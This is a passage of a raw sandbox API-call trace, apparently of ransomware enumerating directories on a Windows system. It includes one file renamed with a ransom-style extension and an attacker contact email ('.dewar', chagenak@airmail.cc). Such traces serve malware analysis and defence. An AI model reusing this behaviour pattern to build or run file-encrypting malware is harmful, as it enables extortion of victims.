0x35d0048 [0074.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.443] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.443] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0074.444] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.444] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.444] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.444] GetProcessHeap () returned 0x550000 [0074.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.444] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0074.445] GetProcessHeap () returned 0x550000 [0074.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.842] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.867] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0074.868] ResetEvent (hEvent=0x144) returned 1 [0074.868] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0079.041] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0079.042] ResetEvent (hEvent=0x144) returned 1 [0079.042] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0079.071] ResetEvent (hEvent=0x144) returned 1 [0079.071] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0083.438] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0083.438] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0083.439] GetProcessHeap () returned 0x550000 [0083.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0083.439] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0083.439] GetProcessHeap () returned 0x550000 [0083.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0083.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0083.439] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.439] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0083.440] ResetEvent (hEvent=0x144) returned 1 [0083.440] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0083.513] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0083.514] ResetEvent (hEvent=0x144) returned 1 [0083.514] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0087.382] ResetEvent (hEvent=0x144) returned 1 [0087.382] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0087.455] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0087.455] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0087.455] GetProcessHeap () returned 0x550000 [0087.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0087.455] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0087.456] ResetEvent (hEvent=0x144) returned 1 [0087.456] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) Thread: id = 19 os_tid = 0x684 [0060.418] GetProcessHeap () returned 0x550000 [0060.418] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x38) returned 0x56ec18 [0060.418] GetProcessHeap () returned 0x550000 [0060.418] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56e360 [0060.418] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x168 [0060.418] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x16c [0060.418] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x170 [0060.418] GetProcessHeap () returned 0x550000 [0060.418] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5ca0e0 [0060.419] GetProcessHeap () returned 0x550000 [0060.419] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5da0e8 [0060.420] GetProcessHeap () returned 0x550000 [0060.420] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x570960 [0060.421] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.421] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.421] Wow64DisableWow64FsRedirection (in: OldValue=0x2c9fad4 | out: OldValue=0x2c9fad4*=0x0) returned 1 [0060.421] GetProcessHeap () returned 0x550000 [0060.421] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2d53ac, lpParameter=0x2c9fadc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174 [0060.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2d53ac, lpParameter=0x2c9fadc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178 [0060.427] GetProcessHeap () returned 0x550000 [0060.427] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5ea0f0 [0060.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x56ec58 [0060.429] GetProcessHeap () returned 0x550000 [0060.429] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fa0f8 [0060.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570960 [0060.431] FindNextFileW (in: hFindFile=0x570960, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.431] FindNextFileW (in: hFindFile=0x570960, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0060.431] GetProcessHeap () returned 0x550000 [0060.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x60b108 [0060.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5709a0 [0060.432] FindNextFileW (in: hFindFile=0x5709a0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.432] FindNextFileW (in: hFindFile=0x5709a0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.433] FindNextFileW (in: hFindFile=0x5709a0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.433] FindClose (in: hFindFile=0x5709a0 | out: hFindFile=0x5709a0) returned 1 [0060.433] GetProcessHeap () returned 0x550000 [0060.433] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x60b108 | out: hHeap=0x550000) returned 1 [0060.433] FindNextFileW (in: hFindFile=0x570960, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0060.433] FindClose (in: hFindFile=0x570960 | out: hFindFile=0x570960) returned 1 [0060.434] GetProcessHeap () returned 0x550000 [0060.434] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fa0f8 | out: hHeap=0x550000) returned 1 [0060.434] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0060.434] GetProcessHeap () returned 0x550000 [0060.434] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0060.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572880 [0063.019] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x68664590, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.019] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0063.019] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0063.019] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0063.020] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0063.020] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x68664590, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x68664590, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="BOOTST~1.DEW")) returned 1 [0063.020] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0063.020] GetProcessHeap () returned 0x550000 [0063.020] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.022] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, 